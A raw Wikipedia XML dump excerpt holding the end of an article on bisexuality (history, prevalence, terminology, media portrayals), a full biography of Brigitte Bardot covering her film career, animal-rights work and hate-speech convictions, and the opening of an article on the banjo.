Although observed in a variety of forms in most societies throughout recorded history, bisexuality has only been the subject of serious study since the second half of the [[20th century]], and some disagreement remains about its prevalence and nature.

==Description==
Bisexual orientation can fall anywhere between the two extremes of [[homosexuality]] and [[heterosexuality]]; a bisexual person is not necessarily attracted equally to both genders, and many tend to prefer one or the other. Moreoever, a bisexual person may be attracted to both genders but not both sexes, or vice versa. Another view of bisexuality is that homosexuality and heterosexuality are two [[monosexual]] orientations, whereas bisexuality encompasses them both. However, some argue that bisexuality is a legitimate [[sexual orientation]] in its own right.

Individuals attracted to both males and females, like people of any other orientation, may live a variety of sexual lifestyles. These include: lifelong [[monogamy]], [[serial monogamy]], [[polyamory]], [[polyfidelity]], [[promiscuity|casual sexual activity]] with individual partners, casual [[group sex]], and [[celibacy]]. For those with more than one sexual partner, these may or may not all be of the same gender.

Some people who might be classified by others as bisexual on the basis of their sexual behavior self-identify as [[gay]] or [[lesbian]] -- for example, a bisexual woman who considers herself a lesbian may do so on the basis that a lesbian might be defined as any woman who is attracted to women (even one who is also attracted to men), or a woman who is primarily attracted to other women. Some lesbian and gay people object, asserting that exclusivity is part of the definition. Other bisexuals consider themselves distinct from homosexuals but part of the larger [[LGBT]] or [[queer]] community. Some people who engage in bisexual behavior may be supportive of lesbian and gay people, but still self-identify as [[straight]], and still others consider any labels irrelevant to their situations.

==Bisexuality in history==
Historical and literary records from most literate societies indicate that male bisexuality was common and indeed expected. These relationships were generally age-structured (as in the practice of [[pederasty]] in the [[Mediterranean Basin]] of [[Classical antiquity|antiquity]], or the practice of [[shudo]] in pre-modern Japan) or gender-structured (as in the [[Two-Spirit]] North American tradition or the [[Central Asia]]n [[bacchá]] practices). Male heterosexuality and homosexuality, while also documented, appear mostly as exceptions, unless we are examining cultures influenced by the [[Abrahamic religion]]s, where heterosexuality was privileged, and bisexuality and homosexuality forcefully suppressed. In fact, most of the commonly cited examples of male &quot;homosexuality&quot; in previous cultures would more properly be categorized as bisexuality. Determining the history of female bisexuality is more problematic, in that women in most of the studied societies were under the domination of the males, and on one hand had less self-determination and freedom of movement and expression, and on the other were not the ones writing or keeping the literary record.

In [[Ancient Greece]] it is believed that males generally went through a homosexual stage in adolescence, followed by a bisexual stage characterized by [[pederasty|pederastic relationships]] in young adulthood, followed by a (mostly) heterosexual stage later in life, when they married and had children. Ancient [[Rome]], Arab countries up to and including the present, [[China]], and [[Japan]], all exhibit patterns of analogous bisexual behavior. In Japan in particular, due to its practice of [[shudo]] and the extensive art and literature associated with it, the record of a primarily bisexual lifestyle is both detailed and quite recent, dating back as recently as the [[19th century]].

Perhaps the most famous example is [[Alexander the Great]] who had many wives, but also at least two male lovers, [[Hephaestion]] being his life-long friend. The same could be said of most Roman emperors, the shoguns of Japan, many Chinese emperors, and others.

However, it should be noted that the terms ''heterosexual'', ''bisexual'', ''homosexual'', and the concept of &quot;sexual orientation&quot; itself are all modern sociological constructs, and may not be appropriate in historical contexts, in which ''behavior'' might be considered homosexual, but ''people'' were not labeled using such terms.

===Ancient Greece===
Ancestral law in ancient [[Sparta]] mandated same-sex relationships with youths who were coming of age for all adult men, so long as the men eventually took wives and produced children. The Spartans thought that love and erotic relationships between experienced and novice soldiers would solidify combat loyalty and encourage heroic tactics as men vied to impress their lovers. Once the younger soldier reached maturity the relationship was supposed to become non-sexual, but it is not clear how strictly this was followed. There was some stigma attached to young men who continued their relationships with their mentors into adulthood.

Greek religious texts, reflecting cultural practices, incorporated bisexual themes. The subtexts varied, from the mystical to the didactic. See ''[[Mythology of same-sex love]]''.

===Middle Eastern cultures===
[[Image:Shah Abbas and Wine Boy.jpg|left|thumb|150px|[[Shah Abbas I]] embracing his wine boy.]]

Men's attraction to beautiful youths is understood to be normal and universal in Islamic cultures. Some religious texts warn men to avoid falling for this temptation, held to be stronger than attraction to women. Other [[Sufism|religious texts]], not uncontroversially, teach that gazing upon the beauty of boys is a path to communing with god. Poets and artists routinely celebrated their love of boys, consummated or not, from the [[Middle Ages|medieval]] times until the early twentieth century. Among these were the famous poets [[Abu Nuwas]], [[Hafez]], and [[Omar Khayyam]], and painters such as the [[Persians|Persian]] [[Reza Abbasi]]. The [[Qur'an]]ic prohibition against ''liwat'' ([[anal intercourse]] with either males or females, held to be a major sin) was flouted by some and circumvented by others who indulged in such relationships but stopped short of intercourse. Men convicted of ''liwat'', as well as their partners, could be and were upon occasion executed.


The Qur'an however requires that the transgression be witnessed by four men or eight women in order to convict the participants. Therefore, men are not given much trouble about these behaviors as it cannot be easily proved, so as long as they marry and raise families and fulfill other societal duties, they can easily &quot;blend&quot; in society. Such practices are claimed to be less common than in the past and have become covert, as a result of exposure to Western Victorian morality starting in the eighteen hundreds. An open declaration of homosexual preference in the Western egalitarian style would be unacceptable. In this way, some of the [[bisexuality in the Arab world]] and [[Persian Empire|Persian]] world is somewhat similar to the [[down-low|DL]] culture prevalent in some African-American and Latino communities.

==Modern Western prevalence of bisexuality==
''Main articles: [[Demographics of sexual orientation]] and [[Kinsey Reports]]''

Some modern surveys report about 2%-6% of modern western populations as bisexual, but there are still many methodological difficulties with regard to randomness and size of the sample population, and the accuracy of self-reports of such personal information. (The accuracy of these numbers is [[Talk:Demographics of sexual orientation|disputed]].) Different studies also use different standards for bisexuality. Some studies ignore bisexual phenomena entirely, or separate it into same-sex and opposite-sex components. Reported results disagree over whether homosexuality is more common than bisexuality (with various definitions for each). Anecdotal reports from areas outside the west suggest much higher rates of bisexual expression.

Some studies, notably [[Alfred C. Kinsey|Alfred Kinsey]]'s ''Sexual Behavior in the Human Male'' (1948) and ''Sexual Behavior in the Human Female'' (1953), have indicated that the majority of people appear to be at least somewhat bisexual. The studies report that most people have some attraction to either sex, although usually one sex is preferred. According to some (falsely attributed to Kinsey), only about 5-10% of the population can be considered to be fully heterosexual or homosexual. On the other hand, an even smaller minority has no distinct preference for one gender or the other.

==Social status of bisexuality==
Historically, bisexuality has largely been free of the social stigma associated with homosexuality, prevalent even where bisexuality was the norm. In Ancient Greece [[pederasty]] was not problematic as long as the men eventually married and had children. All over the world among upper-class men of good social standing (i.e., properly married) homosexual affairs were tolerated, and heterosexual marriage was often successfully used as a defense against accusations of homosexuality.

Some in the gay and lesbian communities accuse those who self-identify as bisexual of duplicity, believing they are really homosexuals who are attempting to hold onto the social approval through their heterosexual activity. They may be accused of &quot;not doing their part&quot; in gaining acceptance of &quot;true&quot; homosexuality. Gay and lesbian people may also suspect that a self-described bisexual is merely a homosexual in the initial stage of questioning their presumed heterosexuality, and will eventually accept that they are gay; this is expressed by a glib saying in gay culture: &quot;Bi now, gay later.&quot; These situations can and do take place, but do not appear to be true of the majority of self-described bisexuals. Nonetheless, bisexuals do sometimes experience lesser acceptance from gay and lesbian people, because of their declared orientation.

Bisexuals are often associated with men who engage in [[men who have sex with men|same-sex activity]] while [[the closet|closeted]] and heterosexually [[marriage|married]]. The majority of such men - said to be ''living on the [[down-low]]'' - do not self-identify as bisexual.

Because many bisexual people do not feel that they fit into either the [[gay community]] or the heterosexual world, and because they have a tendency to be &quot;invisible&quot; in public (fitting in rather seamlessly into both homosexual and heterosexual society), some bisexual persons are committed to forming their own communities, culture, and political movements.

[[Image:Bi flag.svg|thumb|200px|right|The bisexual pride flag]]A common symbol of bisexual identity is a pair of overlapping pink and blue triangles (the pink triangle being a well-known symbol for the gay community), forming purple where they intersect. Another symbol is the [[bisexual pride flag]], which has a deep pink stripe at the top for homosexuality, a blue one on the bottom for heterosexuality, and a purple one (blended from the pink and blue) in the middle to represent bisexuality.

==Terminology==
The term ''bisexual'' was coined by botanists c. 1809. It originally applied to plants that had both male and female sex organs. It is not known when the term was first applied to the context of sexual orientation. Some bisexuals and sex researchers are dissatisfied with the term, and have developed a variety of alternative or supplementary terms to describe aspects and forms of bisexuality. Many are [[neologism]]s not widely recognized by the larger society.

*''Pansexual'', ''omnisexual'', and ''[[pomosexual]]'' ([[postmodernism|postmodern]] sexuality) are substitute terms that rather than referring to ''both'' or &quot;bi&quot; gender attraction, refer to ''all'' or &quot;omni&quot; gender attraction, and are used mainly by those who wish to express acceptance of ''all'' gender possibilities including [[transgender]] and [[intersex]] people, not just two. Pansexuality sometimes includes an attraction for less mainstream sexual activities, such as [[BDSM]]. Some people who might otherwise identify as pansexual or omnisexual choose to self-identify as bisexual because the term ''bisexual'' is more widely known, and because they see it as an important term in [[identity politics]].

*''[[Bi-permissive]]'' describes someone who does not actively seek out sexual relations with a given gender, but is open to them. Such a person may self-identify as heterosexual or homosexual, and engage predominantly in sexual acts with individuals of the corresponding gender, and might be rated ''1'' or ''5'' on Kinsey's scale. Near-synonyms include [[heteroflexible]] and [[homoflexible]]. 

*''Ambisexual'' indicates a primarily indiscriminate attraction to either sex. A person who self-identifies as ambisexual might be attracted with equal intensity on physical, emotional, intellectual, and spiritual levels to partner(s) regardless of sex or gender presentation, while upholding selectivity standards in other areas. Some might experience equally intense attractions that could be triggered by sex- or gender-specific traits in given the partner(s). A person with this orientation might fall in the ''3'' category on Kinsey's scale, as would some who subscribe to the ''2'' or ''4'' rating (although some individuals in these latter categories consider themselves Bi-permissive).

*''[[Bi-curious]]'', has several distinct and sometimes contradictory meanings. It is commonly found in personal ads from those who identify as heterosexual but are interested in homosexual &quot;experimentation&quot;. Such people are commonly suspected - not necessarily correctly - of being homosexuals or bisexuals in [[denial]] of their homosexuality. It can also be used to describe someone as being [[passively-bi]], bi-permissive or open to indirect bisexual contact.

*''Trisexual'' (sometimes ''trysexual'') is either an extension of, or a pun on ''bisexual''. In its more serious usage, it indicates an interest in transgender persons in addition to [[cissexual]] men and women. In its more humorous usage, it refers to someone who will ''try'' any ''sexual'' experience.

*''[[Biphobia]]'' describes a fear or condemnation of bisexuality, usually based in a belief that only heterosexuality and homosexuality are genuine orientations and appropriate lifestyles. Bisexual persons may also be the target of [[homophobia]] from those who consider only heterosexuality appropriate. The reverse can also apply in that bisexual persons may be targets of [[heterophobia]] or discrimination by some gays/homosexuals.

*''[[Passively-bi]], aka [[open-minded]]'' is a non-gender specific term that describes a straight or bi-curious person who is ''open to'' incidental or direct contact (typically in a [[Group sex]] scenario) from a [[MOTSS]], usually without reciprocation.

*''[[Actively-bi]]'' is a non-gender specific term that describes a bi-curious/bisexual person who ''initiates'' direct contact with a [[MOTSS]].

==Bisexuality in modern Western entertainment==
Comparatively positive and notable portrayals of bisexuality can be found in mainstream movies such as: ''[[Goldfish Memory]]''; ''[[The Rocky Horror Picture Show]]''; and ''[[Henry and June]]''. In [[popular music]], many of the songs of [[The Smiths]] are commonly cited as classic examples. In notable [[graphic novel]]s, ''[[Love &amp; Rockets]]'' subtly portrays bisexuality. ''[[Krazy Kat]]'' is an early comic-strip character whose loves are not limited by gender. Notable novels containing significant bisexual characters are: Sean David Wright's ''Two For One--a novel about having choices''; [[Anne Rice]]'s ''Cry To Heaven''; [[Rosamond Lehmann]]'s ''Dusty Answer''; [[Mary Renault]]'s ''The Last of the Wine'' and ''The Persian Boy''; [[Colette]]'s ''Claudine'' novels; [[David Leavitt]]'s ''The Lost Language of Cranes'' and ''While England Sleeps''; [[Jeanette Winterson]]'s ''The Passion''; [[Marge Piercy]]'s ''Woman on the Edge of Time''; [[Alice Walker]]'s ' 'The Color Purple' '; [[Jane Rule]]'s ''Young in One Another's Arms''; and [[Sylvia Brownrigg]]'s ''The Metaphysical Touch''. Non-fiction scholarship, such as [[Marjorie Garber]]'s ''Vice Versa: Bisexuality and the Eroticism of Everyday Life'' (1995), [[Camille Paglia]]'s ''Sexual Personae'' (1990) and Louis Crompton's ''Byron and Greek Love'' (1985), has uncovered previously hidden histories of bisexuality. On the TV show [[Will &amp; Grace]], the character of Karen is described as &quot;omnisexual&quot; and although is married to a man, often kisses Grace and appears to have had many female lovers throughout her life. The blatantly ambisexual character [[Jack Harkness]] of ''[[Doctor Who]]'' and ''[[Torchwood]]'' is often described as &quot;omnisexual&quot; by his fans.  [[Rebecca Romijn-Stamos]] portrayed a bisexual con artist in the film [[Femme Fatale]]. On the HBO drama Oz, [[Christopher Meloni]] played [[Chris Keller]], a bisexual sociopath who tortured, raped, and had numerous sexual encounters with various men and women whom he met. 

There are also negative media portrayals, reflecting prejudices and stereotypes. For instance, the television show ''[[Friends]]'' sported a short song about the topic that expresses a common prejudice on the subject:
&lt;div&gt;
:''Sometimes men love women,''
:''Sometimes men love men,''
:''Then there are bisexuals''
:''Though some people say they're kidding themselves''
&lt;/div&gt;

And a ''[[Saturday Night Live]]'' joke ran thus:
:''&quot;A bisexual is a person who reaches down the front of somebody's pants and is satisfied with whatever they find.&quot;'' -- [[Dana Carvey]] as the church lady, ''Saturday Night Live''.

Prejudice is also expressed in the storylines of movies in which the bisexual characters conceal murderous neuroses (''[[Basic Instinct]]'', ''Black Widow'', ''[[Blue Velvet]],'' ''Cruising,'' ''Girl Interrupted'').

== Bisexuality in animals ==
:''See: [[Non-human animal sexuality]]''
Many non-human animal species also exhibit bisexual behavior.  This is particularly common in [[hermaphroditic]] animals, but is also known in many other species such as the [[bonobo]] Chimpanzee.  Bisexuality has been observed in over 500 species .

==See also==
*[[Biphobia]]
*[[Critiques of sexual behavior]]
*[[List of bisexuals]]
*[[List of gay, lesbian or bisexual people]]
*[[List of LGBT-related organizations]]
*[[Pansexuality]]
*[[Bisexual chic]]

==References==
;General
*[[Louis Crompton]]. ''Homosexuality and Civilization,'' Cambridge, Mass. and London, 2003. ISBN 067401197X
*[[Garrett Jones]]. ''Coming Clean about Bisexuality'', UK, 2000. Online book freely downloadable from author's website.
*[[Michel Larivière]]. ''Homosexuels et bisexuels célèbres,'' Delétraz Editions, 1997. ISBN 2911110196
*[[Kenji Yoshino]]. &quot;[http://www.kenjiyoshino.com/articles/epistemiccontract.pdf The Epistemic Contract of Bisexual Erasure]&quot;. ''[[Stanford Law Review]]'', 52 (2), 2000.

;Ancient Greece
*[[Kenneth J. Dover]]. ''Greek Homosexuality,'' New York; Vintage Books, 1978. ISBN 0394742249
*[[Thomas K. Hubbard]]. ''Homosexuality in Greece and Rome,'' U. of California Press, 2003. [http://www.utexas.edu/courses/cc348hubbard/] ISBN 0520234308
*Herald Patzer. ''Die Griechische Knabenliebe [Greek Pederasty],'' Wiesbaden: Franz Steiner Verlag, 1982. In: Sitzungsberichte der Wissenschaftlichen Gesellschaft an der Johann Wolfgang Goethe-Universität Frankfurt am Main, Vol. 19 No. 1.
*W. A. Percy III.'' Pederasty and Pedagogy in Archaic Greece,'' University of Illinois Press, 1996. ISBN 0252022092

;Muslim Lands
*[[Stephen O. Murray]] and [[Will Roscoe]], et al. ''Islamic Homosexualities: Culture, History, and Literature,'' New York: New York University Press, 1997. ISBN 0814774687
*J. Wright &amp; Everett Rowson. ''Homoeroticism in Classical Arabic Literature''. 1998.
*'Homosexuality' &amp; other articles in the ''[http://www.iranica.com/ Encyclopædia Iranica]''

See also: [[Abu Nuwas]], [[Hafez]].

;Japan
*[[Gary Leupp]]. ''Male Colors: The Construction of Homosexuality in Tokugawa Japan,'' Berkeley, University of California Press, 1995. ISBN 0520209001
*[[Tsuneo Watanabe]] &amp; [[Jun'ichi Iwata]]. ''The Love of the Samurai. A Thousand Years of Japanese Homosexuality,'' London: GMP Publishers, 1987. ISBN 0854491155

;Film
* Bryant, Wayne M.. ''Bisexual Characters in Film: From Anais to Zee''. Haworth Gay &amp; Lesbian Studies, 1997. ISBN: 1560238941

==External links==
{{Wikiquote}}
{{wiktionarypar|bisexuality}}

* [http://www.biresource.org/ Bisexual Resource Center (international)]
* [http://www.bitribune.com/ Bi Tribune Magazine (US)]
* [http://www.bisexual.org/ The Bi Foundation]
* [http://www.bimagazine.org/ Bi Magazine (US)]
* [http://www.bisquish.com/ BiSquish daily news &amp; events (international)]
* [http://www.binetusa.org/ BiNet USA]
* [http://www.biflag.com Bi Flag].
* [http://serf.org/~jon/soc.bi/faq/a.html &lt;code&gt;soc.bi&lt;/code&gt; newsgroup FAQ] Bi newsgroup.
* [http://www.bitheway.org/ BiTheWay.org] Bi community online resource (international)
* [http://www.bi.org/ Bi.org] Serving the World Bisexual Community (international)
* [http://www.bicommunitynews.co.uk/ ''BCN'' magazine]. The long-running UK bi cultural/political magazine.
*[http://www.beyondbarriers.org.uk/docs/Bisexual_Participatory_Appraisal_Research.pdf Exploring Biphobia]. (144 KB [[PDF]]). Report on the problems caused by stereotyping of bisexuals.
* [http://www.shybi-girls.com/ Bi / Bi-curious Women's Forum]
* [http://www.bimarried.com/ Bi Married Men's Support Group]
* [http://www.bimen.org/ Bi Men's Support Group]
* [http://www.bisexualplayground.com/ Bisexual Playground] Bisexual Online Community
* [http://www.bicafe.com/ Bi Cafe] International Bisexual forum
* [http://www.androphile.org The Androphile Project] Extensive resource of gay and bisexual history.
* [http://www.nyabn.org/ New York Area Bisexual Network (US)]
* [http://www.afterellen.com/TV/karenwalker.html AfterEllen.com] News, Reviews and Commentary on Lesbian and Bisexual Women in Entertainment and the Media.
* [http://www.afterellen.com/TV/coupling.html AfterEllen.com] News, Reviews and Commentary on Lesbian and Bisexual Women in Entertainment and the Media.

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[[Category:Sexual orientation]]
[[Category:Sexual orientation and identity]]
[[Category:bisexual community]]

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      <text xml:space="preserve">[[Image:Brigettebardot.jpg|right|thumb|Brigitte Bardot]]'''Brigitte Bardot''' (born [[September 28]], [[1934]]) is a [[France|French]] [[Actor|actress]] and [[model (person)|model]], daughter of an industrialist.  Also known simply as '''BB''' (&quot;Bri-Bri&quot; in childhood) she is considered the embodiment of the [[1950s]] &quot;sex kitten.&quot;

In the [[1970s]] Bardot established herself as an [[animal rights]] activist.  During the [[1990s]] her controversial and outspoken political views on such issues as [[immigration]], [[Islam]], and [[homosexuality]] greatly affected her reputation.

==Career==
Bardot was born in [[Paris]] to Charles &quot;Pilou&quot; Bardot and Anne-Marie Mucel. Bardot's beauty and natural sensuality began to show as a teenager and in [[1952]], she appeared on screen for the first time in ''Le Trou Normand''. That same year, at age 18, she married director [[Roger Vadim]], with whom she had been romantically involved for several years. 

Although the [[European cinema|European film industry]] was then in the ascendant, her personal rise was remarkable: she has been one of the few [[Europe]]an actresses to receive mass media attention in the [[United States]].  She and [[Marilyn Monroe]] were the icons of female sexuality in the [[1950s]] and [[1960s]] and whenever she made public appearances in the United States the media hordes covered her every move.

Her films of the early and mid 1950s were lightweight romantic dramas, some of them historical, in which she was cast as ing&amp;eacute;nue or siren, often with an element of undress. She played bit-parts in three English-language films, the British comedy ''Doctor at Sea'' (1955), [[Warner Brothers]]' ''Helen of Troy'' (1954), in which she was understudy for the title-role but only appears as Helen's handmaid, and ''Act of Love'' (1954) wth Kirk Douglas.  Her French-language films were dubbed for international release.  &quot;She is every man's idea of the girl he'd like to meet in Paris&quot; said the film-critic Ivon Addams in 1955.

Vadim was not content with this light fare. The [[French New Wave|New Wave]] of French and Italian art directors and their stars were riding high internationally and he felt Bardot was being undersold. Looking for something more like an art-film to push her as a serious actress, he showcased her in ''[[And God Created Woman]]'' (1956) with [[Jean-Louis Trintignant]]. 

The film, about an amoral teenager in a respectable small-town setting, was a big international success, riding on the back of Bardot's high profile as a magazine celebrity and pin-up.  She may have had an affair with her co-star Trintignant, but this was more likely a pre-release publicity gimmick.  The film is often wrongly described as her first film (it was her seventeenth) and to have launched her overnight, but it did help move her towards the cinematic mainstream.   

It also ruled out a transition to [[Hollywood]], where she was thought too risqu&amp;eacute; to handle.  The [[Doris Day]] era was in still in full swing and even [[Jane Russell]] in ''The French Line'' (1953) had been thought to be going too far by showing her midriff. Fluffy erotica like Bardot's  ''Cette sacr&amp;eacute;e gamine'' (That Crazy Kid, 1955) was considered fine  at the box-office as long as it was clearly labelled &quot;European&quot;. Also Bardot's limited English and strong accent (while beguiling to the ears of men) did not suit rapid-fire Hollywood scripts. In any event, staying in Europe benefited her image when the [[1960s]] began to swing and Hollywood slipped into the background for a while, and Bardot was voted honorary sex-goddess to the decade.

Divorced from Vadim in 1957, she married actor Jacques Charrier (1959-62), by whom in 1960 she had her only child, '''Nicolas-Jacques Charrier''' from whom she is estranged. She once referred to her only child as &quot;a tumour&quot;. The marriage was preyed on by the [[paparazzi]] and there were clashes over Bardot's career-direction. Her films did become more substantial, but this brought a heavy pressure of dual celebrity as she sought critical acclaim while remaining to most of the world a glamour model. 

''Vie priv&amp;eacute;e'' (1960), directed by [[Louis Malle]] has more than an element of autobiography in it. The scene in which, returning to her flat, Bardot's character is harangued in the lift by a middle-aged cleaning-lady calling her a tramp and a tart was based on an actual incident, and is a resonant image of celebrity in the mid-[[20th century]]. 

Soon after, Bardot withdrew to the seclusion of the South of France and is now known to have attempted suicide, but as the sexual revolution of the early 1960s gathered momentum her lifestyle began to seem more like the norm and the pressure lifted.  Through the sixties, she was happy to appear in glossy star-vehicles like ''Viva Maria'' (1969), to dabble in pop-music and to perceive her main role as glamour model and icon. In [[1965]] she appeared as herself in the [[Hollywood]] production ''[[Dear Brigitte]]'' starring [[Jimmy Stewart]]. 

Her other husbands were German millionaire playboy Gunther Sachs (1966-69), and French right-wing politician, Bernard d'Ormale (1992-present), with whom she evidently has the best marital relationship in her history. She has also had reputed relationships with many men including [[Serge Gainsbourg]] and [[Sacha Distel]] (singers), and apparently with [[Jimi Hendrix]] after a chance meeting at the airport in Paris. 

She is recognized for popularizing [[bikini]] swimwear in early films such as ''Manina'' (Woman without a Veil, 1952) and in her appearances at Cannes and in many photo-shoots.  She even sported an early version of the monokini (topless bikini) from time to time. Though this was not considered extraordinary in France, where nudity on beaches is common, it was considered nearly scandalous in the US. The fashions of the 1960s looked effortlessly right and spontaneous on her and she joined (the now-deceased icons) [[Marilyn Monroe]] and [[Jackie Kennedy]], in becoming a subject for [[Andy Warhol]] paintings. 

In 1970, the sculptor [[Aslan (pin up)|Alain Gourdon]] used Bardot as the model for a bust of [[Marianne]], the French national emblem.

==Retirement==
In [[1974]], just before her fortieth birthday, Bardot announced her retirement. After appearing in more than fifty motion pictures, and recording several music albums, most notably with France's &quot;bad boy&quot; of music, [[Serge Gainsbourg]], she chose to use her fame to promote [[animal rights]]. She is accused of being a [[misanthrope]] and preferring the company of animals to that of humans. In [[1986]], she established the Brigitte Bardot Foundation for the Welfare and Protection of Animals. She raised 3 million French [[franc]]s to fund the foundation by [[auction]]ing off her [[jewelry]] and many personal belongings. Today, she is one of the world's most influential animal rights activists and a major opponent of the consumption of [[horse meat]].

She is also one of the most celebrated supporters of [[Jean-Marie Le Pen]] of the right-wing [[National Front (France)|Front National]] political party, with which her husband is associated. With the publication of her 2003 book, ''A Scream in the Silence'', the reclusive Bardot has come under considerable fire for anti-[[Muslim]], and anti-[[gay]] comments. In May 2003, The [[MRAP]] (&quot;Mouvement contre le Racisme et pour l'Amitié entre les Peuples&quot; - Movement against racism and for friendship between peoples) announced that it would sue Bardot for her published views. Another organization, The &quot;[[Ligue des Droits de l'Homme]]&quot; (League of Human Rights), announced that it was considering similar legal proceedings. 

Bardot, in a letter to a French gay magazine, wrote in her defense, &quot;Apart from my husband&amp;mdash;who maybe will cross over one day as well&amp;mdash;I am entirely surrounded by homos. For years they have been my support, my friends, my adopted children, my confidants.&quot;

On [[June 10]], [[2004]] Bardot was convicted by a French court of &quot;inciting racial hatred.&quot; She was fined 5,000 &amp;#8364; and it is the fourth such conviction/fine she has faced from French courts. These recent fines pertain to her aforementioned book. In particular the courts cited passages where Bardot referred to the &quot;Islamization of France&quot; and the &quot;underground and dangerous infiltration of Islam.&quot; (France's 5-million member Muslim community is the largest in Europe.) In the book she also referred to homosexuals as &quot;fairground freaks,&quot; and she condemns the presence of women in government. Bardot's previous comments that led to convictions included ones encouraging civilian massacres in [[Algeria]].

Bardot has lost a considerable amount of sympathy from her fans due to her now-frequent anti-Muslim, anti-gay and anti-Immigrant outbursts.

==Quotation==
*&quot;She is the princess of pout, the countess of come hither. Brigitte Bardot exuded a carefree, naïve sexuality that brought a whole new audience to French films.&quot; ''[[Time Magazine]]''

*&quot;Well, my telephone rang it would not stop, / It's [[John F. Kennedy|President Kennedy]] callin' me up. / He said, &quot;My friend, Bob, what do we need to make the country grow?&quot; / I said, &quot;My friend, John, Brigitte Bardot, / [[Anita Ekberg]], / [[Sophia Loren]]. / Country'll grow.&quot;  -- [[Bob Dylan]], &quot;I Shall Be Free,&quot; ''[[The Freewheelin' Bob Dylan]]'', 1963

==Filmography==
*''[[The Girl in the Bikini]]'' ([[1952]])
*''[[The Long Teeth]]'' ([[1952]])
*''[[Crazy for Love]]'' ([[1952]])
*''[[His Father's Portrait]]'' ([[1953]])
*''[[Act of Love]]'' ([[1953]])
*''[[Betrayed]]'' ([[1954]])
*''[[Royal Affairs in Versailles]]'' ([[1954]])
*''[[The Light Across the Street]]'' ([[1955]])
*''[[School for Love]]'' ([[1955]])
*''[[Caroline and the Rebels]]'' ([[1955]])
*''[[Doctor at Sea]]'' ([[1955]])
*''[[The Grand Maneuver]]'' ([[1955]])
*''[[Nero's Mistress]]'' ([[1956]])
*''[[Her Bridal Night]]'' ([[1956]])
*''[[Helen of Troy]]'' ([[1956]])
*''[[Naughty Girl]]'' ([[1956]])
*''[[Plucking the Daisy]]'' ([[1956]])
*''[[And God Created Woman]]'' ([[1956]])
*''[[La Parisienne]]'' ([[1957]])
*''[[The Night That Heaven Fell]]'' ([[1958]])
*''[[Love Is My Profession]]'' ([[1958]])
*''[[The Woman and the Puppet]]'' ([[1959]])
*''[[Babette Goes to War]]'' ([[1959]])
*''[[Come Dance with Me!]]'' ([[1959]])
*''[[The Testament of Orpheus]]'' ([[1960]])
*''[[It Happened All Night]]'' ([[1960]]) (Cameo)
*''[[The Truth]]'' ([[1960]])
*''[[Please, Not Now]]'' ([[1961]])
*''[[Famous Love Affairs]]'' ([[1961]])
*''[[A Very Private Affair]]'' ([[1961]])
*''[[Lykke og krone]]'' ([[1962]]) (documentary)
*''[[Love on a Pillow]]'' ([[1962]])
*''[[Contempt]]'' ([[1963]])
*''[[Paparazzi]]'' ([[1964]]) (short subject)
*''[[Bardot and Godard]]'' ([[1964]]) (short subject)
*''[[Agent 38-24-36]]'' ([[1964]])
*''[[Forbidden Temptations]]'' ([[1965]]) (documentary)
*''[[Marie Soleil]]'' ([[1965]]) (Cameo)
*''[[Dear Brigitte]]'' ([[1965]])
*''[[Viva Maria!]]'' ([[1965]])
*''[[Masculine, Feminine: In 15 Acts]]'' ([[1966]])
*''[[Two Weeks in September]]'' ([[1967]])
*''[[Spirits of the Dead]]'' ([[1968]])
*''[[Shalako]]'' ([[1968]])
*''[[The Bear and the Doll]]'' ([[1969]])
*''[[The Vixen]]'' ([[1969]])
*''[[The Novices]]'' ([[1970]])
*''[[Rum Runners]]'' ([[1971]])
*''[[The Legend of Frenchie King]]'' ([[1971]])
*''[[Film Portrait]]'' ([[1972]]) (documentary)
*''[[Don Juan, or If Don Juan Were a Woman]]'' ([[1973]])
*''[[The Edifying and Joyous Story of Colinot]]'' ([[1973]])

== See also ==
* [[Marianne]]
* [[Sexual revolution]]

==External links==
* {{imdb name|id=0000003|name={{PAGENAME}}}}
*[http://tesla.liketelevision.com/liketelevision/tuner.php?channel=959&amp;format=movie&amp;theme=guide Watch Brigitte Bardot in And God Created Woman]
*[http://tesla.liketelevision.com/liketelevision/tuner.php?channel=131&amp;format=movie&amp;theme=guide Watch Brigitte Bardot in Mademoiselle Striptease]
* [http://www.thegoldenyears.org/bardot.html] Classic Movies (1939 - 1969): Brigitte Bardot
* [http://www.imzadi.nl/Rwwp4/bb_main.html] A Brigitte Bardot fan page
* [http://silverscreensirens.com/brigitte.htm] A Brigitte Bardot gallery
* [http://www.gainsbourg.org/vrsn3/html/zooms/brigittebardot/index.html] A Tribute to Gainsbourg, zoom sur Brigitte Bardot
*  [http://www.residencelesmarronniers.com/en/surroundings/saint_tropez/brigitte_bardot.htm] Brigitte Bardot and Saint-Tropez
*[http://www.fondationbrigittebardot.fr/site/homepage.php?Id=2] Fondation Brigitte Bardot
*[http://www.brigittebardot.lap.hu] Brigitte Bardot links collection

[[Category:1934 births|Bardot, Brigitte]]
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[[Category:Film actors|Bardot, Brigitte]]
[[Category:French actors|Bardot, Brigitte]]
[[Category:French models|Bardot, Brigitte]]
[[Category:Marianne|Bardot, Brigitte]]
[[Category:Vegetarians|Bardot, Brigitte]]
[[Category:French women|Bardot, Brigitte]]

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    </revision>
  </page>
  <page>
    <title>Banjo</title>
    <id>3846</id>
    <revision>
      <id>41997368</id>
      <timestamp>2006-03-03T03:02:24Z</timestamp>
      <contributor>
        <username>Dsreyn</username>
        <id>423367</id>
      </contributor>
      <comment>/* Banjo history */ Consistent format for book reference</comment>
      <text xml:space="preserve">[[Image:Banjo.png|left|thumb|Old 6-string zither banjo]]

[[Image:Banjos.jpg|right|thumb|4-string banjos]]

:''For other uses, see [[Banjo (disambiguation)]]''

The '''banjo''' is a [[stringed instrument]] of [[African American]] origin, early or original examples sometimes being called the &quot;gourd banjo&quot;.  Its name is commonly thought to be derived from the [[Kimbundu]] term ''mbanza''. Some etymologists derive it from a dialectal pronunciation of &quot;bandore&quot;, though recent research suggests that it may come from a [[Senegambia]]n term for the [[bamboo]] stick used for the instrument's neck.

The modern banjo comes in a variety of different forms, including four- ('''plectrum''' and '''tenor''' banjos) and five-string versions. A six-string version, tuned and played similar to a [[guitar]] is gaining popularity. In almost all of its forms the banjo's playing is characterised by a fast strumming or [[arpeggio|arpeggiated]] right hand, although there are many different playing styles.

